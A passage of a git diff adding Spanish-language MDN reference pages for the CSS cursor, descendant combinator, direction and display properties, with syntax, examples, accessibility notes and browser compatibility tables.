+<p>Esto es, se pueden indicar cero o más direcciones URL (separadas por comas), que <strong>deben</strong> ser seguidas de uno de los cursores genéricos definidos en la especificación, por ej. <code>help</code> o <code>pointer</code>.</p>
+<p>Los siguientes valores están permitidos:</p>
+<pre class="eval">cursor: url(foo.cur), url(<span class="nowiki">http://developer.mozilla.org/wiki-images/es/e/ed/firefox.jpg</span>), help;
+</pre>
+<p>Primero se intentará cargar <em>foo.cur</em>. Si este archivo no existe o no es válido por alguna otra razón, se probará con <em>firefox.jpg</em>, y si este tampoco puede ser cargado, se usará <em>help</em>.</p>
+<p>El soporte a la <a class="external" href="http://www.w3.org/TR/css3-ui/#cursor">sintaxis de CSS3</a> para los valores de cursor fue añadido en Gecko 1.8beta3; por lo tanto en Firefox 1.5 funciona. Esto permite especificar las coordenadas del punto en el que la imagen del cursor es fijada al área activa. Si no se especifican, las coordenadas del punto de contacto son tomadas del propio archivo (para archivos CUR y XBM) o se fijan en la esquina superior izquierda de la imagen.</p>
+<p>Un ejemplo de la sintaxis CSS3:</p>
+<pre class="eval">cursor: url(<span class="nowiki">http://developer.mozilla.org/wiki-images/es/e/ed/firefox.jpg</span>), auto;
+
+cursor: url(<span class="nowiki">http://developer.mozilla.org/wiki-images/es/e/ed/firefox.jpg</span>) 90 90, auto;
+</pre>
+<p><br>
+ El primer número es la coordenada X, y el segundo la coordenada Y. El ejemplo anterior pone el punto de contacto del área activa a (90,90) píxeles de la esquina superior izquierda (0,0).</p>
+<h3 id="Limitaciones" name="Limitaciones">Limitaciones</h3>
+<p>Pueden usarse todos los formatos gráficos soportados por Gecko. Por lo tanto puede usar imágenes PNG, JPG, CUR, GIF, etc. Sin embargo, ANI no está soportado. Además, si especifica un GIF animado, el cursor usará el GIF, pero sin animación. Esta limitación podría ser superada en futuras versiones.</p>
+<p>Gecko no limita el tamaño de los cursores. Sin embargo, quien busque la máxima compatibilidad multiplataforma debería limitarlos a un tamaño de 32x32, los cursores más grandes no funcionarán en Windows 9x (95, 98, MÍ).</p>
+<p>Los cursores translúcidos no estan soportados en las versiones de Windows anteriores a XP. Esto es una limitación del sistema operativo. La transparencia funciona en todas las plataformas.</p>
+<p>Solo las versiones de Mozilla para Windows, OS/2 y GNU/Linux (usando GTK+ 2.4 o superior) soportan valores URL para los cursores. El soporte en otras plataformas podría ser añadido en futuras versiones: (Mac OS: {{ Bug(286304) }}, QNX Neutrino: {{ Bug(286307) }}, XLib: {{ Bug(286309) }}, Qt: {{ Bug(286310) }}, BeOS: {{ Bug(298184) }}, GTK 2.0/2.2: {{ Bug(308536) }})</p>
+<h3 id="Compatibilidad_con_otros_navegadores" name="Compatibilidad_con_otros_navegadores">Compatibilidad con otros navegadores</h3>
+<p>Microsoft Internet Explorer también soporta URI como valor para la propiedad <code>cursor</code>. Sin embargo, solo soporta los formatos gráficos CUR y ANI. Además, es menos estricto con la sintaxis de la propiedad <code>cursor</code>. Esto significa que declaraciones como:</p>
+<pre class="eval">cursor: url(foo.cur);
+</pre>
+<p>O:</p>
+<pre class="eval">cursor: url(foo.cur), pointer, url(bar.cur), auto;
+</pre>
+<p>funcionarán en MSIE, pero no lo harán en los navegadores basados en Gecko. Para ser compatible con Gecko y actuar conforme a la especificación de CSS2.1, ponga la lista de URIs primero, y ponga siempre <strong>un</strong> cursor genérico <strong>al final</strong>. <span class="comment">: ''To-do: document what MSIE does with CSS 3 hotspot locations''</span></p>
diff --git a/files/es/web/css/descendant_combinator/index.html b/files/es/web/css/descendant_combinator/index.html
new file mode 100644
index 0000000000..d5d20aa965
--- /dev/null
+++ b/files/es/web/css/descendant_combinator/index.html
@@ -0,0 +1,97 @@
+---
+title: Los selectores descendientes
+slug: Web/CSS/Descendant_combinator
+translation_of: Web/CSS/Descendant_combinator
+---
+<p>{{ CSSRef() }}</p>
+<h2 id="Summary" name="Summary">Sumario</h2>
+<p>El <code>␣</code> combinador  <font><font>(que se supone que representan un espacio, o mejor dicho uno o más espacios en blanco) combina dos selectores tales que el selector combinado incluye sólo los elementos que coinciden con el segundo selector para los que hay un elemento ancestro que coincide con el primer selector.<span class="Apple-converted-space"> </span></font><font>Los selectores descendientes son similares a<span class="Apple-converted-space"> </span></font></font><a href="https://developer.mozilla.org/en/CSS/Child_selectors" style="margin: 0px; padding: 0px; border: 0px; color: rgb(0, 149, 221); text-decoration: none; font-family: 'Open Sans', sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 21px; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; background-color: rgb(255, 255, 255);" title="selectores es / CSS / Niños"><font><font>selectores hijos</font></font></a><font><font><span class="Apple-converted-space"> </span>, pero que no requieren que la relación entre los elementos coincidentes ser estrictamente entre padres e hijos.</font></font></p>
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+<pre class="eval">selector1 selector2 { <em>propiedades de estilos</em> }
+</pre>
+<h2 id="Example" name="Example">Ejemplo</h2>
+<pre class="brush: css">span { background-color: white; }
+div span { background-color: DodgerBlue; }
+</pre>
+<pre class="brush: html">&lt;div&gt;
+  &lt;span&gt;Span 1.
+    &lt;span&gt;Span 2.&lt;/span&gt;
+  &lt;/span&gt;
+&lt;/div&gt;
+&lt;span&gt;Span 3.&lt;/span&gt;
+</pre>
+<p>{{ EmbedLiveSample('Example', '', '', '') }}</p>
+<h2 id="Especificaciones"><span>Especificaciones</span></h2>
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a class="external" href="http://www.w3.org/TR/css3-selectors/#general-sibling-combinators" title="http://www.w3.org/TR/css3-selectors/#general-sibling-combinators">Selector CSS Nivel 3</a></td>
+   <td>{{ Spec2('CSS3 Selectors') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://www.w3.org/TR/CSS21/selector.html#descendant-selectors" title="http://www.w3.org/TR/CSS21/selector.html#descendant-selectors">CSS 2.1</a></td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://www.w3.org/TR/CSS1/#contextual-selectors" title="http://www.w3.org/TR/CSS1/#contextual-selectors">CSS 1</a></td>
+   <td>{{ Spec2('CSS1') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Compatibilidad_del_navegador" style="margin: 0px 0px 12px; padding: 0px; border: 0px; font-weight: 700; font-family: 'Open Sans', sans-serif; line-height: 30px; font-size: 2.142857142857143rem; letter-spacing: -1px; color: rgb(77, 78, 83); font-style: normal; font-variant: normal; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; background-color: rgb(255, 255, 255);"><font><font>Compatibilidad del navegador</font></font></h2>
+<p>{{ CompatibilityTable() }}</p>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Carracterística</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Soporte básico</td>
+    <td>{{ CompatVersionUnknown() }}</td>
+    <td>{{ CompatVersionUnknown() }}</td>
+    <td>{{ CompatVersionUnknown() }}</td>
+    <td>{{ CompatVersionUnknown() }}</td>
+    <td>{{ CompatVersionUnknown() }}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Carracterística</th>
+    <th>Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Soporte básico</td>
+    <td>{{ CompatUnknown() }}</td>
+    <td>{{ CompatUnknown() }}</td>
+    <td>{{ CompatUnknown() }}</td>
+    <td>{{ CompatUnknown() }}</td>
+    <td>{{ CompatUnknown() }}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h2 id="See_also" name="See_also">Ver también</h2>
diff --git a/files/es/web/css/direction/index.html b/files/es/web/css/direction/index.html
new file mode 100644
index 0000000000..7fc0e0cbb8
--- /dev/null
+++ b/files/es/web/css/direction/index.html
@@ -0,0 +1,54 @@
+---
+title: direction
+slug: Web/CSS/direction
+tags:
+  - CSS
+  - 'CSS:Referencias'
+  - Referencia_CSS
+  - Todas_las_Categorías
+translation_of: Web/CSS/direction
+---
+<p>
+</p><p>{{ CSSRef() }}
+</p>
+<h3 id="Resumen" name="Resumen"> Resumen </h3>
+<p>La propiedad <code>direction</code> se utiliza para indicar en que dirección fluye el texto: {{ Cssxref("rtl") }} para hebreo o árabe y {{ Cssxref("ltr") }} para otros tipos de escritura. Esto tendría que especificarse como parte del documento (por ejemplo, usando el código <code>dir</code> en HTML) en lugar que directamente en la hoja de estilo CSS.
+</p><p>Esta propiedad establece el sentido de base del texto para los elementos de tipo bloque y la dirección para los elementos creados por la propiedad {{ Cssxref("unicode-bidi") }}. Además, asigna el valor por defecto para la alineación de texto y de elementos tipo bloque dentro de las celdas de una tabla.
+</p>
+<ul><li> {{ Cssxref("initial", "Valor inicial") }}: {{ Cssxref("ltr", "de izquierda a derecha") }}
+</li><li> Se aplica a: todos los elementos.
+</li><li> {{ Cssxref("inheritance", "Valor heredado") }}: si
+</li><li> Porcentajes: n/a
+</li><li> Medio: {{ Cssxref("Media:Visual", "visual") }}
+</li><li> {{ Cssxref("computed value", "Valor calculado") }}:
+</li></ul>
+<h3 id="Sintaxis" name="Sintaxis"> Sintaxis </h3>
+<pre class="eval">direction: [ ltr | rtl | inherit ] ;
+</pre>
+<h3 id="Valores" name="Valores"> Valores </h3>
+<dl><dt> ltr </dt><dd> Valor por defecto de <code>direction</code>. El contenido, texto y otros elementos fluyen de izquierda a derecha.
+</dd><dt> rtl </dt><dd> El contenido, texto y otros elementos van de derecha a izquierda. </dd></dl>
+<p>Para que la propiedad <code>direction</code> tenga algún efecto en elementos de tipo en línea (<i>inline</i>), el valor de la propiedad {{ Cssxref("unicode-bidi") }} debe ser <code>embed</code> o <code>override</code>.
+</p>
+<h3 id="Ejemplos" name="Ejemplos"> Ejemplos </h3>
+<pre class="eval">blockquote {
+  direction : rtl ;
+}
+</pre>
+<h3 id="Notas" name="Notas"> Notas </h3>
+<p>Al contrario que el atributo <code>dir</code> en HTML, la propiedad <code>direction</code> no es heredada desde las columnas de una tabla a las celdas, ya que la herencia en CSS sigue el árbol del documento, y las celdas de una tabla son parte de las filas y no de las columnas.
+</p>
+<h3 id="Especificaciones" name="Especificaciones"> Especificaciones </h3>
+<ul><li> <a class="external" href="http://www.w3.org/TR/CSS21/visuren.html#direction">CSS 2.1</a>
+</li><li> <a class="external" href="http://www.w3.org/TR/2003/CR-css3-text-20030514/#direction">CSS 3 Text Module</a>
+</li></ul>
+<h3 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n"> Ver también </h3>
+<p>{{ Cssxref("unicode-bidi") }} - {{ Cssxref("ltr") }} - {{ Cssxref("rtl") }}
+</p><p><br>
+</p>
+<div class="noinclude">
+<p><span class="comment">Categorías</span>
+</p><p><span class="comment">Interwiki Languages</span>
+</p>
+</div>
+{{ languages( { "fr": "fr/CSS/direction", "pl": "pl/CSS/direction", "en": "en/CSS/direction" } ) }}
diff --git a/files/es/web/css/display/index.html b/files/es/web/css/display/index.html
new file mode 100644
index 0000000000..c5c503619b
--- /dev/null
+++ b/files/es/web/css/display/index.html
@@ -0,0 +1,647 @@
+---
+title: display
+slug: Web/CSS/display
+tags:
+  - CSS
+  - CSS Display
+  - Propiedades CSS
+translation_of: Web/CSS/display
+---
+<div>{{CSSRef}}</div>
+
+<p>La propiedad CSS <strong><code>display</code></strong> especifica si un elemento es tratado como <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flow_Layout" rel="nofollow">block or inline element</a> y el diseño usado por sus hijos, como <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flow_Layout">flow layout</a>(Diseño de Flujo), <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/CSS_Grid_Layout" rel="nofollow">grid</a>(Cuadricula) o <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout" rel="nofollow">flex</a>(Flexible). </p>
+
+<p>Formalmente la propiedad <code>display</code> establece los tipos de visualización interna y externa de un elemento. La tipo externa establece la participacion de un elemento en <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flow_Layout">flow layout</a>; la tipo interna establece el layout(Diseño) de los hijos. Algunos valores de <code>display</code> estan totalmente definidos con sus especificaciones propias; por ejemplo el detalle de que pasa cuando <code>display: flex</code> es declarado y definido en la especificacion de Modelo Flexible de Caja(Flexible Box Model specification) de CSS. <strong>Vea</strong> la siguientes tablas para mas especificaciones individuales.</p>
+
+<p>Además de los Diferentes Tipos de caja de Visualizacion, el valor de <code>none</code> permite Desactivar la Visualizacion DE UN Elemento; cuando no se utiliza <code>none</code>, todos los elementos descendentes también quedan desactivados. El documento se procesa como si el elemento no existiera en el árbol de documentos.</p>
+
+<pre class="brush:css no-line-numbers notranslate">/ * Valores &lt;display-outside&gt; * /
+
+display: block:;
+display: inline;
+display: run-in;
+
+/ * Valores &lt;display-inside&gt; * /
+display: flow;
+display: flow-root;
+display: table;
+display: flex;
+display: grid;
+display: ruby;
+display: subgrid;
+
+/ * Valores &lt;display-outside&gt; más valores &lt;display-inside&gt; * /
+display: block flow;
+display: inline table;
+display: flex run-in;
+
+/ * Valores &lt;display-listitem&gt; * /
+display: list-item;
+display: list-item block;
+display: list-item inline;
+display: list-item flow;
+display: list-item flow-root;
+display: list-item block flow;
+display: list-item block flow-root;
+display: flow list-item block;
+
+/ * Valores &lt;display-internal&gt; * /
+display: table-row-group;
+display: table-header-group;
+display: table-footer-group;
+display: table-row;
+display: table-cell;
+display: table-column-group;
+display: table-column;
+display: table-caption;
+display: ruby-base;
+display: ruby-text;
+display: ruby-base-container;
+display: ruby-text-container;
+
+/ * Valores &lt;display-box&gt; * /
+display: contents;
+display: none;
+
+/ * Valores &lt;display-legacy&gt; * /
+display: inline-block;
+display: inline-table;
+display: inline-flex;
+display: inline-grid;
+
+/ * Valores globales * /
+display: heredar;
+display: initial;
+display: unset;
+</pre>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<p>La propiedad <code>display</code> se especifica mediante valores de palabras clave. Los valores de palabras clave se agrupan en seis categorías:</p>
+
+<ul>
+ <li><a href="#display-outside">&lt;display-outside&gt;</a></li>
+ <li><a href="#display-inside">&lt;display-inside&gt;</a></li>
+ <li><a href="#display-listitem">&lt;display-listitem&gt;</a></li>
+ <li><a href="#display-internal">&lt;display-internal&gt;</a></li>
+ <li><a href="#display-box">&lt;display-box&gt;</a></li>
+ <li><a href="#display-legacy">&lt;display-legacy&gt;</a></li>
+</ul>
+
+<p>En la actualidad, es mejor especificar <code>display</code> utilizando una sola palabra clave; aunque las últimas especificaciones permiten combinar algunas palabras clave, esto aún no está bien soportado por los navegadores.</p>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><a id="display-outside" name="display-outside">&lt;display-outside&gt;</a></dt>
+ <dd>Estas palabras clave especifican el tipo de pantalla externa del elemento, que es esencialmente su función en el diseño de flujo: A continuación se definen:
+ <table class="standard-table">
+  <thead>
+   <tr>
+    <td class="header">Valor</td>
+    <td class="header">Descripción</td>
+   </tr>
+  </thead>
+  <tbody>
+   <tr>
+    <td><code>block</code></td>
+    <td>El elemento genera un cuadro de elemento de bloque.</td>
+   </tr>
+   <tr>
+    <td><code>inline</code></td>
+    <td>El elemento genera uno o más cuadros de elemento en línea.</td>
+   </tr>
+   <tr>
+    <td><code>run-in</code> {{experimental_inline}}</td>
+    <td>El elemento genera un cuadro de ejecución. Los elementos de ejecución actúan como líneas o bloques, dependiendo de los elementos circundantes. Es decir: Si el cuadro de ejecución contiene un cuadro de bloque, igual que el bloque. Si un cuadro de bloque sigue el cuadro de ejecución, el cuadro de ejecución se convierte en el primer cuadro en línea del cuadro de bloque. Si sigue un cuadro en línea, el cuadro de ejecución se convierte en un cuadro de bloque.</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+ <dt><a id="display-inside" name="display-inside">&lt;display-inside&gt;</a></dt>
+ <dd>Estas palabras clave especifican el tipo de pantalla interna del elemento, que define el tipo de contexto de formato que establece su contenido (suponiendo que es un elemento no reemplazado). Se definen como sigue:
+ <table class="standard-table">
+  <thead>
+   <tr>
+    <td class="header">Valor</td>
+    <td class="header">Descripción</td>
+   </tr>
+  </thead>
+  <tbody>
+   <tr>
+    <td><code>flow</code> {{experimental_inline}}</td>
+    <td>El elemento expone su contenido utilizando el diseño de flujo (diseño en bloque y en línea).
+     <p>Si su tipo de pantalla externa es inline o run-in, y está participando en un contexto de formato de bloque o en línea, entonces genera un cuadro en línea. De lo contrario genera una caja de contenedor de bloques.</p>
+
+     <p>Dependiendo del valor de otras propiedades (como {{cssxref("position")}}, {{cssxref("float")}} o {{cssxref("overflow")}} en un contexto de formato en bloque o en línea, establece un nuevo <a href="/en-US/docs/Web/Guide/CSS/Block_formatting_context">contexto de formato de bloque</a> para su contenido o integra su contenido en su contexto de formato padre.</p>
+    </td>
+   </tr>
+   <tr>
+    <td><code>flow-root</code> {{experimental_inline}}</td>
+    <td>El elemento genera un cuadro de elemento de bloque que establece un nuevo <a href="/en-US/docs/Web/Guide/CSS/Block_formatting_context">contexto de formato de bloque</a> .</td>
+   </tr>
+   <tr>
+    <td><code>table</code></td>
+    <td>Estos elementos se comportan como elementos HTML {{HTMLElement ("table")}}. Define un cuadro de nivel de bloque.</td>
+   </tr>
+   <tr>
+    <td><code>flex</code></td>
+    <td>El elemento se comporta como un elemento de bloque y establece su contenido de acuerdo con el <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">modelo de flexbox</a> .</td>
+   </tr>
+   <tr>
+    <td><code>grid</code></td>
+    <td>El elemento se comporta como un elemento de bloque y establece su contenido de acuerdo con el modelo de cuadrícula.</td>
+   </tr>
+   <tr>
+    <td><code>subgrid</code> {{experimental_inline}}</td>
+    <td>Si el elemento padre tiene <code>display:grid</code>, el elemento en sí y su contenido se establecen de acuerdo con el modelo de cuadrícula.</td>
+   </tr>
+   <tr>
+    <td><code>ruby</code> {{experimental_inline}}</td>
+    <td>El elemento se comporta como un elemento en línea y establece su contenido de acuerdo con el modelo de formato ruby. Se comporta como los elementos HTML {{HTMLElement ("ruby")}} correspondientes.</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+ <dt><a id="display-listitem" name="display-listitem">&lt;display-listitem&gt;</a></dt>
+ <dd>
+ <p>El elemento genera un cuadro de bloque para el contenido y un cuadro en línea de elemento de lista independiente.</p>
+
+ <p>Si no se especifica ningún valor <code>&lt;display-inside&gt;</code>, el tipo de pantalla interna de la caja principal es el predeterminado <code>flow</code>. Si no se especifica ningún valor <code>&lt;display-outside&gt;</code>, el tipo de pantalla externa de la caja principal tiene el valor predeterminado <code>block</code>.</p>
+ </dd>
+ <dt><a id="display-internal" name="display-internal">&lt;display-internal&gt;</a></dt>
+ <dd>
+ <p>Algunos modelos de disposición, como <span class="css">table y ruby</span>, tienen una estructura interna completa, con varios papeles diferentes que sus hijos y descendientes pueden llenar. Esta sección define los valores de visualización "internos", que sólo tienen significado dentro de ese modo de disposición particular.</p>
+
+ <p>A menos que se especifique lo contrario, el tipo de visualización interno y el tipo de visualización exterior de los elementos que utilizan estos valores de visualización se establecen en la palabra clave dada.</p>
+
+ <table class="standard-table">
+  <thead>
+   <tr>
+    <td class="header">Valor</td>
+    <td class="header">Descripción</td>
+   </tr>
+  </thead>
+  <tbody>
+   <tr>
+    <td><code>table-row-group</code></td>
+    <td>Estos elementos se comportan como {{HTMLElement ("tbody")}} Elementos HTML</td>
+   </tr>
+   <tr>
+    <td><code>table-header-group</code></td>
+    <td>Estos elementos se comportan como elementos HTML de {{HTMLElement ("thead")}}.</td>
+   </tr>
+   <tr>
+    <td><code>table-footer-group</code></td>
+    <td>Estos elementos se comportan como elementos HTML {{HTMLElement ("tfoot")}}.</td>
+   </tr>
+   <tr>
+    <td><code>table-row</code></td>
+    <td>Estos elementos se comportan como elementos HTML {{HTMLElement ("tr")}}.</td>
+   </tr>
+   <tr>
+    <td><code>table-cell</code></td>
+    <td>Estos elementos se comportan como elementos HTML de {{HTMLElement ("td")}}.</td>
+   </tr>
+   <tr>
+    <td><code>table-column-group</code></td>
+    <td>Estos elementos se comportan como elementos HTML {{HTMLElement ("colgroup")}}.</td>
+   </tr>
+   <tr>
+    <td><code>table-column</code></td>
+    <td>Estos elementos se comportan como elementos HTML {{HTMLElement ("col")}}.</td>
+   </tr>
+   <tr>
+    <td><code>table-caption</code></td>
+    <td>Estos elementos se comportan como elementos HTML de {{HTMLElement ("caption")}}.</td>
+   </tr>
+   <tr>
+    <td><code>ruby-base</code> {{experimental_inline}}</td>
+    <td>Estos elementos se comportan como elementos {{HTMLElement ("rb")}}.</td>
+   </tr>
+   <tr>
+    <td><code>ruby-text</code> {{experimental_inline}}</td>
+    <td>Estos elementos se comportan como elementos {{HTMLElement ("rt")}}.</td>
+   </tr>
+   <tr>
+    <td><code>ruby-base-container</code> {{experimental_inline}}</td>
+    <td>Estos elementos se comportan como elementos {{HTMLElement ("rbc")}} generados como cajas anónimas.</td>
+   </tr>
+   <tr>
+    <td><code>ruby-text-container</code> {{experimental_inline}}</td>
+    <td>Estos elementos se comportan como elementos {{HTMLElement ("rtc")}}.</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+ <dt><a id="display-box" name="display-box">&lt;display-box&gt;</a></dt>
+ <dd>Estos valores se definen si un elemento genera cuadros de visualización en absoluto.
+ <table class="standard-table">
+  <thead>
+   <tr>
+    <td class="header">Valor</td>
+    <td class="header">Descripción</td>
+   </tr>
+  </thead>
+  <tbody>
+   <tr>
+    <td><code>contents</code> {{experimental_inline}}</td>
+    <td>Estos elementos no producen una caja específica por sí mismos. Son reemplazados por su pseudo-caja y sus cajas infantiles.</td>
+   </tr>
+   <tr>
+    <td><code>none</code></td>
+    <td>
+     <p>Desaparece la visualización de un elemento para que no tenga ningún efecto en el diseño (el documento se representa como si el elemento no existiera). Todos los elementos descendentes también tienen su pantalla apagada.</p>
+
+     <p>Para que un elemento ocupe el espacio que normalmente tendría, pero sin producir nada, utilice la propiedad {{cssxref("visibility")}}.</p>
+    </td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+ <dt><a id="display-legacy" name="display-legacy">&lt;display-legacy&gt;</a></dt>
+ <dd>CSS 2 usó una sintaxis de palabra clave única para la propiedad <code>display</code>, requiriendo palabras clave separadas para variantes de nivel de bloque e inline del mismo modo de disposición. Se definen como sigue:
+ <table class="standard-table">
+  <thead>
+   <tr>
+    <td class="header">Valor</td>
+    <td class="header">Descripción</td>
+   </tr>
+  </thead>
+  <tbody>
+   <tr>
+    <td><code>inline-block</code></td>
+    <td>
+     <p>El elemento genera una caja de elemento de bloque que fluye con el contenido circundante como si fuera una sola caja en línea (comportándose como un elemento reemplazado)</p>
+
+     <p>Es equivalente a <code>inline flow-root</code>.</p>
+    </td>
+   </tr>
+   <tr>
+    <td><code>inline-table</code></td>
+    <td>
+     <p>El  valor <code>inline-table</code> no tiene una asignación directa en HTML. Se comporta como un elemento HTML {{HTMLElement ("tabla")}}, pero como un cuadro en línea, en el lugar de un cuadro a nivel de bloque. Dentro del cuadro de la tabla hay un contexto de nivel de bloque.</p>
+
+     <p>Es equivalente a  <code>inline table</code>.</p>
+    </td>
+   </tr>
+   <tr>
+    <td><code>inline-flex</code></td>
+    <td>
+     <p>El elemento se comporta como un elemento en línea y se establece su contenido de acuerdo con el modelo flexbox.</p>
+
+     <p>Es equivalente a  <code>inline flex</code>.</p>
+    </td>
+   </tr>
+   <tr>
+    <td><code>inline-grid</code></td>
+    <td>El elemento se comporta como un elemento en línea y se establece su contenido de acuerdo con el modelo de cuadrícula.</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Sobre_Accesibilidad">Sobre Accesibilidad</h2>
+
+<h3 id="display_none"><code>display: none;</code></h3>
+
+<p>Al utilizar un valor de <code>none </code>en la propiedad <code>display </code>el elemento se elimina del <a href="https://developer.mozilla.org/en-US/docs/Learn/Accessibility/What_is_accessibility#Accessibility_APIs">árbol de accesibilidad</a>. El efecto de esto será que este elemento y sus hijos no serán anunciados a los lectores de pantalla utilizados por no videntes.</p>
+
+<p>Si deseas ocultar el elemento solo de forma visible, pero que los lectores de accesibilidad lo sigan anunciando, puedes utilizar <a href="https://gomakethings.com/hidden-content-for-better-a11y/#hiding-the-link">un método alternativo con una combinación de propiedades de CSS</a>.</p>
+
+<h3 id="display_contents"><code>display: contents;</code></h3>
+
+<p>Los navegadores eliminarán el atributo predeterminado de <code>role</code> de cualquier elemento con una propiedad <code>display</code> que tenga un valor de <code>contents</code> del árbol de accesibilidad. Esto causará que los elementos y sus descendientes no sean anunciados a los lectores de pantalla.</p>
+
+<p>Esto es un bug ya reportado, para encontrar más información por favor referirse a los siguientes artículos</p>
+
+<ul>
+ <li><a class="external external-icon" href="http://adrianroselli.com/2018/05/display-contents-is-not-a-css-reset.html">Display: Contents Is Not a CSS Reset | Adrian Roselli</a></li>
+ <li><a class="external external-icon" href="https://hiddedevries.nl/en/blog/2018-04-21-more-accessible-markup-with-display-contents">More accessible markup with display: contents — hiddedevries.nl</a></li>
+</ul>
+
+<h3 id="Tablas">Tablas</h3>
+
+<p>Al trabajar con una tabla, si la propiedad <code>display</code> cambia al valor de <code>block</code>, <code>grid</code> o <code>flex</code> se altera la representación de ese elemento en el árbol de accessibilidad. Esto causará que el elemento ya no será anunciado como una tabla.</p>
+
+<p>Para más información por favor referirse a los siguientes artículos:</p>
+
+<ul>
+ <li><a class="external external-icon" href="https://developer.paciellogroup.com/blog/2018/03/short-note-on-what-css-display-properties-do-to-table-semantics/">Short note on what CSS display properties do to table semantics — The Paciello Group</a></li>
+ <li><a class="external external-icon" href="https://gomakethings.com/hidden-content-for-better-a11y/">Hidden content for better a11y | Go Make Things</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.3_%E2%80%94_Create_content_that_can_be_presented_in_different_ways">MDN Understanding WCAG, Guideline 1.3 explanations</a></li>
+ <li><a class="external external-icon" href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/content-structure-separation-programmatic.html">Understanding Success Criterion 1.3.1 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Hide_element" name="Hide_element">Ocultar Elementos</h3>
+
+<h4 id="Contenido_HTML">Contenido HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p&gt; Texto visible &lt;/ p&gt;</pre>
+
+<h4 id="Contenido_CSS">Contenido CSS</h4>
+
+<pre class="brush: css notranslate">  display: none;</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample ("Hide_element", 300, 60)}}</p>
+
+<p><a href="/samples/cssref/display.html">Ver El Ejemplo Vivo</a></p>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName ('CSS3 Display', '# the-display-properties', 'display')}}</td>
+   <td>{{Spec2 ('Pantalla CSS3')}}</td>
+   <td>Agregado <code>run-in</code>, <code>flow</code>, <code>flow-root</code>, <code>contents</code>, y los valores de varias palabras clave.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName ('CSS3 Ruby', '# ruby-display', 'display')}}</td>
+   <td>{{Spec2 ('CSS3 Ruby')}}</td>
+   <td>Agregado <code>ruby</code>, <code>ruby-base</code>, <code>ruby-text</code>, <code>ruby-base-container</code>, y <code>ruby-text-container</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName ('CSS3 Grid', '# grid-containers', 'display')}}</td>
+   <td>{{Spec2 ('Cuadrícula CSS3')}}</td>
+   <td>Se agregaron los valores del modelo de cuadrícula.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName ('CSS3 Flexbox', '# flex-containers', 'display')}}</td>
+   <td>{{Spec2 ('CSS3 Flexbox')}}</td>
+   <td>Se agregaron los valores del modelo de caja flexible.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName ('CSS2.1', 'visuren.html # display-prop', 'display')}}</td>
+   <td>{{Spec2 ('CSS2.1')}}</td>
+   <td>Se agregaron los valores del modelo de tabla e <code>inline-block<em>.</em></code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName ('CSS1', '#display', 'display')}}</td>
+   <td>{{Spec2 ('CSS1')}}</td>
+   <td>Definición inicial. Valores básicos: <code>none</code>, <code>block</code>, <code>inline</code>, y <code>list-item</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Cromo</th>
+   <th>Borde</th>
